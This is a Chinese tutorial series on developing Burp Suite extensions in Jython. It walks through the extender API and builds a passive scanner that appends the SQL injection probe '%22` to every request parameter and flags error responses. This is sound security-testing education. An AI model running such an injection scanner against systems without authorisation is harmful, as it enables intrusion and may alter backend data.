一灯和尚

沉迷学习,无法自拔

0%

Burp Extender Apis 插件开发

Burp Extender Apis 插件开发 (一)

0x01 安装环境

先需要安装jython环境,下载地址
https://www.jython.org/download

图片

下载好jython后,开始配置burpsuite,如下图所示

图片

那么这时候就已经配置好burpsuite的jython环境和模块,只要加载py脚本即可。

0x02 Burp Extender Apis

介绍下burpsuite提供的各个接口。burpsuite软件本身也提供了api文档

图片

也可以查看官方api地址:https://portswigger.net/burp/extender/api/allclasses-noframe.html

图片

接口大致可以分为四类

插件入口和帮助接口类:IBurpExtender、IBurpExtenderCallbacks、IExtensionHelpers、IExtensionStateListener

1
2
3
4
5
IBurpExtender接口类是Burp插件的入口,所有Burp的插件均需要实现此接口,并且类命名为BurpExtender。

IBurpExtenderCallbacks接口类是IBurpExtender接口的实现类与Burp其他各个组件(Scanner、Intruder、Spider......)、各个通信对象(HttpRequestResponse、HttpService、SessionHandlingAction)之间的纽带。

IExtensionHelpers、IExtensionStateListener这两个接口类是插件的帮助和管理操作的接口定义。

UI相关接口类:IContextMenuFactory、IContextMenuInvocation、ITab、ITextEditor、IMessageEditor、IMenuItemHandler

1
这类接口类主要是定义Burp插件的UI显示和动作的处理事件,主要是软件交互中使用。

Burp工具组件接口类:IInterceptedProxyMessage、IIntruderAttack、IIntruderPayloadGenerator、IIntruderPayloadGeneratorFactory、IIntruderPayloadProcessor、IProxyListener、IScanIssue、IScannerCheck、IScannerInsertionPoint、IScannerInsertionPointProvider、IScannerListener、IScanQueueItem、IScopeChangeListener

1
这些接口类的功能非常好理解,Burp在接口定义的命名中使用了的见名知意的规范,看到接口类的名称,基本就能猜测出来这个接口是适用于哪个工具组件。

HTTP消息处理接口类:ICookie、IHttpListener、IHttpRequestResponse、IHttpRequestResponsePersisted、IHttpRequestResponseWithMarkers、IHttpService、IRequestInfo、IParameter、IResponseInfo

1
这些接口的定义主要是围绕HTTP消息通信过程中涉及的Cookie、Request、Response、Parameter几大消息对象,通过对通信消息头、消息体的数据处理,来达到控制HTTP消息传递的目的。

0x03 尝试写一个最简单的demo

首先导入Burp插件的入口IBurpExtender接口类,因为后续所有的功能代码都是从该类里编写
from burp import IBurpExtender
所有Burp的插件均需要实现此接口,并且类命名为BurpExtender
class BurpExtender(IBurpExtender):
加载扩展时调用此方法。它注册IBurpExtenderCallbacks接口的实例 ,并且提供扩展可以调用的方法来执行各种操作。
def registerExtenderCallbacks(self, callbacks):
整体代码如下:

1
2
3
4
5
6
7
8
9
from burp import IBurpExtender

class BurpExtender(IBurpExtender):

def registerExtenderCallbacks(self, callbacks):

# your extension code here

return

这个空的扩展不执行任何操作,但是仍然可以将其加载到Burp中

图片

成功加载我们自己自定义的py插件

图片

Burp Suite使用此接口将一组回调方法传递给扩展,扩展可以使用这些回调方法在Burp中执行各种操作。加载扩展时,Burp调用其 registerExtenderCallbacks()方法并传递IBurpExtenderCallbacks接口的实例 。然后,扩展可以根据需要调用此接口的方法,以扩展Burp的功能。

下面学习各个模块的触发代码以及如何生成上下文菜单

0x04 IBurpExtenderCallbacks

来看下此接口有哪些方法

图片

可以看到方法非常的多,根据自己的需求选择对应的方法。
setExtensionName(java.lang.String name)
此方法用于设置当前扩展名的显示名称,该名称将显示在扩展器工具的用户界面中。
self._callbacks.setExtensionName(“SQL Inject”)

图片

注册功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 注册一个 HTTP 监听器,那么当我们开启Burp监听的 HTTP 请求或收到的 HTTP 响应都会通知此监听器(需要导入IHttpListener)
from burp import IBurpExtender
from burp import IHttpListener

class BurpExtender(IBurpExtender,IHttpListener):
def registerExtenderCallbacks(self,callbacks):
#注册HTTP监听器
callbacks.registerHttpListener(self)

# 注册菜单上下文
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

注册扫描

callbacks.registerScannerCheck(self)

getHelpers() 调用该方法返回对象IExtensionHelpers
此方法用于获取IExtensionHelpers对象,扩展可以使用该对象构建和分析HTTP请求。
self._helpers = callbacks.getHelpers()
那么代码就可以写成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class BurpExtender(IBurpExtender, IHttpListener):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("SQL Inject")

# 注册一个 HTTP 监听器,那么当我们开启Burp监听的 HTTP 请求或收到的 HTTP 响应都会通知此监听器
callbacks.registerHttpListener(self)

# 注册菜单上下文
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

# 注册扫描
callbacks.registerScannerCheck(self)

最简单的一个基础配置写好了,接下来实现功能。

0x05 processHttpMessage

刚才介绍了registerHttpListener方法注册了监听器,那么只要Burp监听到数据包,就会调用processHttpMessage方法。
processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
下面是代码和参数的介绍

1
2
3
4
5
6
7
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
'''
:param toolFlag: 一个标志,指示发出请求的Burp工具,Burp工具标志在IBurpExtenderCallbacks界面中定义.例如Proxy和Repeater触发插件
:param messageIsRequest: 标记是否为请求数据包或响应数据包
:param messageInfo: 要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''

这里toolFlag的数字代表模块,例如哪个模块触发监听器,比如Proxy或者Repeater等

官网给的链接:https://portswigger.net/burp/extender/api/constant-values.html#burp.IBurpExtenderCallbacks

图片

那么我只想要Proxy和Repeater触发插件的功能,代码则如下:

1
2
# Proxy和Repeater触发插件
if toolFlag == 64 or toolFlag == 4:

整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*-coding:utf-8 -*-
# Burp监听到数据包,就会调用processHttpMessage方法
from burp import IBurpExtender, IHttpListener
SLEEP_TIME = 10

class BurpExtender(IBurpExtender, IHttpListener):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("processHttpMessage")

# 用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener- 实现IHttpListener接口的扩展创建的对象 。
callbacks.registerHttpListener(self)

def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
'''
:param toolFlag: 一个标志,指示发出请求的Burp工具,Burp工具标志在IBurpExtenderCallbacks界面中定义.例如Proxy和Repeater触发插件
:param messageIsRequest: 标记是否为请求数据包或响应数据包
:param messageInfo: 要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''
# Proxy和Repeater触发插件
if toolFlag == 64 or toolFlag == 4:

# 处理响应内容
if not messageIsRequest:
print 'call processHttpMessage'

实践:
加载py脚本

图片

repeater发送数据包

图片

成功触发方法

图片

0x06 createMenultems

创建上下文菜单,类似于下图所示

官方api介绍地址:https://portswigger.net/burp/extender/api/burp/IContextMenuFactory.html

图片

需要导入以下模块

1
2
from burp import IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory
from javax.swing import JMenuItem

需要注册菜单

1
2
3
4
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

创建上下文菜单,触发run方法

创建菜单右键

1
2
3
4
5
6
def createMenuItems(self, invocation):
self.invocation = invocation
menu_list = []
menu_list.append(JMenuItem("Send to createMenuItems", None,
actionPerformed=self.run))
return menu_list

定义run方法

1
2
def run(self, event):
print 'call createMenuItems'

整体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*-coding:utf-8 -*-
# 右键菜单
from burp import IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory
from javax.swing import JMenuItem

class BurpExtender(IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("createMenuItems")

# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

# 创建菜单右键
def createMenuItems(self, invocation):
self.invocation = invocation
menu_list = []
menu_list.append(JMenuItem("Send to createMenuItems", None,
actionPerformed=self.run))
return menu_list

def run(self, event):
print 'call createMenuItems'

实践:
右键点击Send to createMenuItems

图片

成功触发

图片

这里抛出一个问题:那就是界面卡死问题。当我们想写一个检测注入漏洞的插件时,payload很多,那么burp会等待payload运行完才会反应,这样就陷入了卡死。

下节课讲解如何解决payload很多,burp卡死问题。

Burp Extender Apis 插件开发 (二)

0x01 被动扫描doPassiveScan


被动扫描,burp默认是开启被动扫描的,即每次的数据包都会放到被动扫描模块进行扫描。那么我们可以重定义被动扫描方法,让每次数据包的被动扫描发送我们定义的payloads。

官方api地址:https://portswigger.net/burp/extender/api/burp/IScannerCheck.html

图片

注:被动扫描要注意一点,那就是修改数据包的时候,如果你在后台也开启插件,那么可能会造成后台数据修改!所以被动扫描插件最好只扫描前台,到了后台一定要关闭掉。

导入模块

1
from burp import IBurpExtender, IScannerCheck

注册扫描

1
callbacks.registerScannerCheck(self)

定义被动扫描方法

1
2
def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

整体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

实践:

抓到数据包后并放掉的时候触发

图片

扫描模块

图片

成功触发

图片

0x02 主动扫描doActiveScan

主动扫描,burp默认是关闭主动扫描的。

官方api地址:https://portswigger.net/burp/extender/api/burp/IScannerCheck.html

这里有两个注意点:

  1. 调用主动扫描的插件时,将burp默认的payload关闭
  2. 开启主动扫描的时候,也会默认被动扫描。所以如果同时加载主动扫描插件和被动扫描插件时,一定要注意这点,避免功能重复

打开burpsuite后,先关闭burp的默认扫描payload

图片

除了方法和被动扫描不一样,其余代码一样。

1
2
def doActiveScan(self, baseRequestResponse, insertionPoint):
print 'call doActiveScan'

整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*-coding:utf-8 -*-
# 主动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo doActiveScan")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

def doActiveScan(self, baseRequestResponse, insertionPoint):
print 'call doActiveScan'

实践:

图片

加入到扫描队列里

图片

成功触发方法

图片

通过这几节课我们已经掌握了burpsuite的常用几个模块调用,下节课学习对抓到的数据包进行分析,分离出每个请求包的参数,每个响应包的参数等信息。

Burp Extender Apis 插件开发 (三)

0x01 IHttpRequestResponse

此接口用于检索和更新有关HTTP消息的详细信息

官网api:https://portswigger.net/burp/extender/api/burp/IHttpRequestResponse.html

图片

例如监听器,扫描模块,菜单模块的各方法中IHttpRequestResponse对象分别是以下变量名

1
2
3
processHttpMessage --> messageInfo
doPassiveScan和doActiveScan --> baseRequestResponse,
createMenuItems --> invocation.getSelectedMessages()[0]

方法名和对应的参数名

1
2
3
4
5
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo)
def doPassiveScan(self, baseRequestResponse)
def doActiveScan(self, baseRequestResponse, insertionPoint)
def createMenuItems(self, invocation):
self.invocation.getSelectedMessages()[0]

接下来介绍下常用的三个方法:

  • IHttpRequestResponse.getRequest()方法返回请求包
  • IHttpRequestResponse.getResponse()方法返回相应包
  • IHttpRequestResponse.getHttpService()方法返回请求/响应的http服务
1
2
3
request = messageInfo.getRequest()
response = currentRequestResponse.getResponse()
httpService = currentRequestResponse.getHttpService()

0x02 IHttpService

该接口获取主机端口和协议

官方API:https://portswigger.net/burp/extender/api/burp/IHttpService.html

图片

代码例子

获取服务端的信息,主机地址,端口,协议

def get_server_info(self, httpService):

1
2
3
4
5
6
7
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
ishttps = False
if protocol == 'https':
ishttps = True
return host, port, protocol, ishttps

0x03 IExtensionHelpers


对请求包/响应包进行分析,使用IExtensionHelpers接口。看下官方介绍,可以看到IExtensionHelpers对象的方法都是用于分析HTTP请求。

官方API:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html

图片

analyzeRequest方法用于分析HTTP请求,并获取有关它的各种关键详细信息,返回IRequestInfo对象
analyzeResponse方法用于分析HTTP响应,并获取有关它的各种关键详细信息,返回IResponseInfo对象

1
2
analyzedRequest = self._helpers.analyzeRequest(request)
analyzedResponse = self._helpers.analyzeResponse(response)

这里回顾下self._helpers从哪来,忘了的同学可以回到第二课。

1
2
3
4
5
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

0x04 IRequestInfo:获取请求信息

官方api地址:https://portswigger.net/burp/extender/api/burp/IRequestInfo.html, 有以下方法:

图片

getHeaders用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

1
reqHeaders = analyzedRequest.getHeaders()

获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

1
reqBodys = request[analyzedRequest.getBodyOffset():].tostring()

获取请求方法

1
reqMethod = analyzedRequest.getMethod()

获取请求中包含的参数。

1
reqParameters = analyzedRequest.getParameters()

获取请求中的URL

1
reqUrl = analyzedRequest.getUrl()

获取请求包的一些信息:请求头,请求内容,请求方法,请求参数的代码如下:

1
2
3
4
5
6
7
8
9
10
# 获取请求的一些信息:请求头,请求内容,请求方法,请求参数
def get_request_info(self, request):
analyzedRequest = self._helpers.analyzeRequest(request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders = analyzedRequest.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys = request[analyzedRequest.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod = analyzedRequest.getMethod() # 获取请求方法
reqParameters = analyzedRequest.getParameters() # 获取请求中包含的参数。
return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters


0x05 IParameter:获取请求包的参数

官方API:https://portswigger.net/burp/extender/api/burp/IParameter.html

图片

1
2
3
4
5
6
7
reqParameters = analyzedRequest.getParameters()# 返回的是列表
for parameter in reqParameters:
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()


0x06 IResponseInfo:获取响应信息

此接口用于检索有关HTTP响应的关键详细信息。

官方api地址:https://portswigger.net/burp/extender/api/burp/IResponseInfo.html, 有以下方法:

图片

getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

1
resHeaders = analyzedResponse.getHeaders()

getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。

1
2
response[analyzedResponse.getBodyOffset():]获取正文内容
resBodys = response[analyzedResponse.getBodyOffset():].tostring()

getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

1
resStatusCode = analyzedResponse.getStatusCode()

获取响应的一些信息:响应头,响应内容,响应状态码的代码如下:

1
2
3
4
5
6
7
# 获取响应的一些信息:响应头,响应内容,响应状态码
def get_response_info(self, response):
analyzedResponse = self._helpers.analyzeResponse(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders = analyzedResponse.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
resBodys = response[analyzedResponse.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
resStatusCode = analyzedResponse.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
return resHeaders, resBodys, resStatusCode

Burp Extender Apis 插件开发 (四)

0x01 buildParameter

buildParameter(java.lang.String name, java.lang.String value, byte type) –> IParameter

传递的三个参数分别是参数名,参数值,参数类型 –> 返回IParameter对象

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildParameter(java.lang.String,%20java.lang.String,%20byte)

示例代码如下:

1
2
3
4
5
6
# 构造参数
parameterValueSQL = parameterValue + payload# parameterValue是原始数据包的参数值,然后拼接sql注入的payload成新的参数值
newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
newParameterName = newParameter.getName()# 参数名
newParameterValue = newParameter.getValue()# 参数值
newParameterType = newParameter.getType()# 参数类型

使用buildParameter构造新的参数后,需要用updateParameter更新请求包

0x02 updateParameter

updateParameter(byte[] request, IParameter parameter) –> request

传递的两个参数分别是request,IParameter 对象

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#updateParameter(byte[],%20burp.IParameter)

示例代码如下:

1
2
3
4
5
newRequest = self._helpers.updateParameter(request, newParameter)
'''
request: 原始请求数据包
newParameter: 使用buildParameter构造的带有payload的参数
'''

使用updateParameter更新请求包的参数后,这时候请求包就带有了payload,接下来就要发送这个新的请求数据包

0x03 makeHttpRequest

makeHttpRequest(IHttpService httpService, byte[] request) –> IHttpRequestResponse
传递的两个参数分别是IHttpService对象,request –> 返回IHttpRequestResponse对象
发出HTTP请求并检索其响应:
link:https://portswigger.net/burp/extender/api/burp/IBurpExtenderCallbacks.html#makeHttpRequest(burp.IHttpService,%20byte[])
示例代码如下:

1
2
httpService = self.baseRequestResponse.getHttpService()# IHttpService参数是原始数据包的getHttpService()方法返回的
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)

通过上述三种api就实现了请求包携带我们的payload发送。

0x04 实例

编写一个简单的注入检测插件:payload为’%22`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan2")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
request = baseRequestResponse.getRequest() # 返回request
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # 返回IRequestInfo对象
httpService = baseRequestResponse.getHttpService() # IHttpService参数是原始数据包的getHttpService()方法返回的
reqParameters = analyzedIRequestInfo.getParameters() # 获取参数

​ # 遍历每个参数,包含get,post,cookies
​ for parameter in reqParameters:
​ parameterName, parameterValue, parameterType = parameter.getName(), parameter.getValue(), parameter.getType()
​ # 构造参数
​ parameterValueSQL = parameterValue + "'%22`"
​ newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
​ # 更新请求包
​ newRequest = self._helpers.updateParameter(request, newParameter)
​ # 发送请求
​ newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)
​ response = newIHttpRequestResponse.getResponse() # 获取响应包
​ analyzedIResponseInfo = self._helpers.analyzeRequest(
​ response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
​ resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
​ print resBodys
​ if ' SQL syntax' in resBodys:
​ print 'is SQL'

效果如下:可以看到打印的响应包就是加载payload后的响应包

图片

Burp Extender Apis 插件开发 (五)

0x01 IScanIssue

此界面用于展示漏洞的详细信息。

官方api:https://portswigger.net/burp/extender/api/burp/IScanIssue.html

有如下方法:

图片

那么我们可以定义一个专门存储漏洞的类,只要继承IScanIssue即可。

示例代码如下:参数解释也在代码注释里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''
:param httpService: HTTP服务
:param url: 漏洞url
:param httpMessages: HTTP消息
:param name: 漏洞名
:param detail: 漏洞细节
:param severity: 漏洞等级
'''
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

接下来就是存储存在漏洞的数据包了,实际上每一个报告都是一个CustomScanIssue对象,所以如果检测出该payload能够验证漏洞的时候,实例化一个CustomScanIssue对象,第一个参数是该payload的数据包的http服务,第二个参数是该payload的url,第三个参数是该payload的IHttpRequestResponse,第四个参数是漏洞名,第五个参数是漏洞细节,第六个参数是漏洞等级。

然后将每个CustomScanIssue对象存到列表里,当执行完被动扫描后,return该列表即可。那么issues模块就会出现存在漏洞的数据包!

示例代码如下:

1
2
3
4
5
6
7
issues.append(CustomScanIssue(
newIHttpRequestResponse.getHttpService(),
self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl(),
[newIHttpRequestResponse],
"SQL",
"Error Inject",
"High"))

这里还有一个小tips,就是当存在漏洞的数据包重复的时候,使用consolidateDuplicateIssues可以过滤。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''
if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1

return 0

0x02 一个简单的注入检测插件

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck, IScanIssue, IMessageEditorTabFactory, IContextMenuFactory
from burp import IScanIssue
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan2")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
request = baseRequestResponse.getRequest() # 返回request
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # 返回IRequestInfo对象
httpService = baseRequestResponse.getHttpService() # IHttpService参数是原始数据包的getHttpService()方法返回的
reqParameters = analyzedIRequestInfo.getParameters() # 获取参数
issues = []
# 遍历每个参数,包含get,post,cookies
for parameter in reqParameters:
parameterName, parameterValue, parameterType = parameter.getName(), parameter.getValue(), parameter.getType()
# 构造参数
parameterValueSQL = parameterValue + "'%22`"
newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
# 更新请求包
newRequest = self._helpers.updateParameter(request, newParameter)
# 发送请求
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)
response = newIHttpRequestResponse.getResponse() # 获取响应包
analyzedIResponseInfo = self._helpers.analyzeRequest(
response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
print resBodys
if ' SQL syntax' in resBodys:
print 'is SQL'

​ issues.append(CustomScanIssue(
​ newIHttpRequestResponse.getHttpService(),
​ self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl(),
​ [newIHttpRequestResponse],
​ "SQL",
​ "Error Inject",
​ "High"))
​ return issues

def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''

​ if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
​ return -1

​ return 0

class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''

​ :param httpService: HTTP服务
​ :param url: 漏洞url
​ :param httpMessages: HTTP消息
​ :param name: 漏洞名
​ :param detail: 漏洞细节
​ :param severity: 漏洞等级
​ '''
​ self._httpService = httpService
​ self._url = url
​ self._httpMessages = httpMessages
​ self._name = name
​ self._detail = detail
​ self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

那么这个就是最简单的一个检测注入的被动扫描插件

效果如下:

在output输出我们代码里的print内容

图片

在Scanner的Issue显示漏洞详情,包含数据包等各种内容

图片

图片

那么只要你多添加些payload,然后使用多线程去调用就能够实现多线程被动注入检测插件啦!

当你学到这的时候,恭喜你解放自己的重复劳动力,从今以后挖洞只需要不断的访问链接,漏洞自会不断出现。

Burp Extender Apis 插件开发 (六)

0x01 getContentType

此方法用于获取消息正文的内容类型,由IRequestInfo对象调用

官方api:https://portswigger.net/burp/extender/api/burp/IRequestInfo.html#getContentType()

图片

示例代码如下:

1
reqContentType = analyzedRequest.getContentType()

如果数据是json格式,那么analyzedRequest.getContentType()返回来的值是4。

那么就可以通过reqContentType是否等于4过滤掉不是json格式的数据包,从而使该插件只检测当数据类型是json时才触发。

接下来准备重构数据包。

0x02 stringToBytes()

1
byte[] stringToBytes(java.lang.String data)

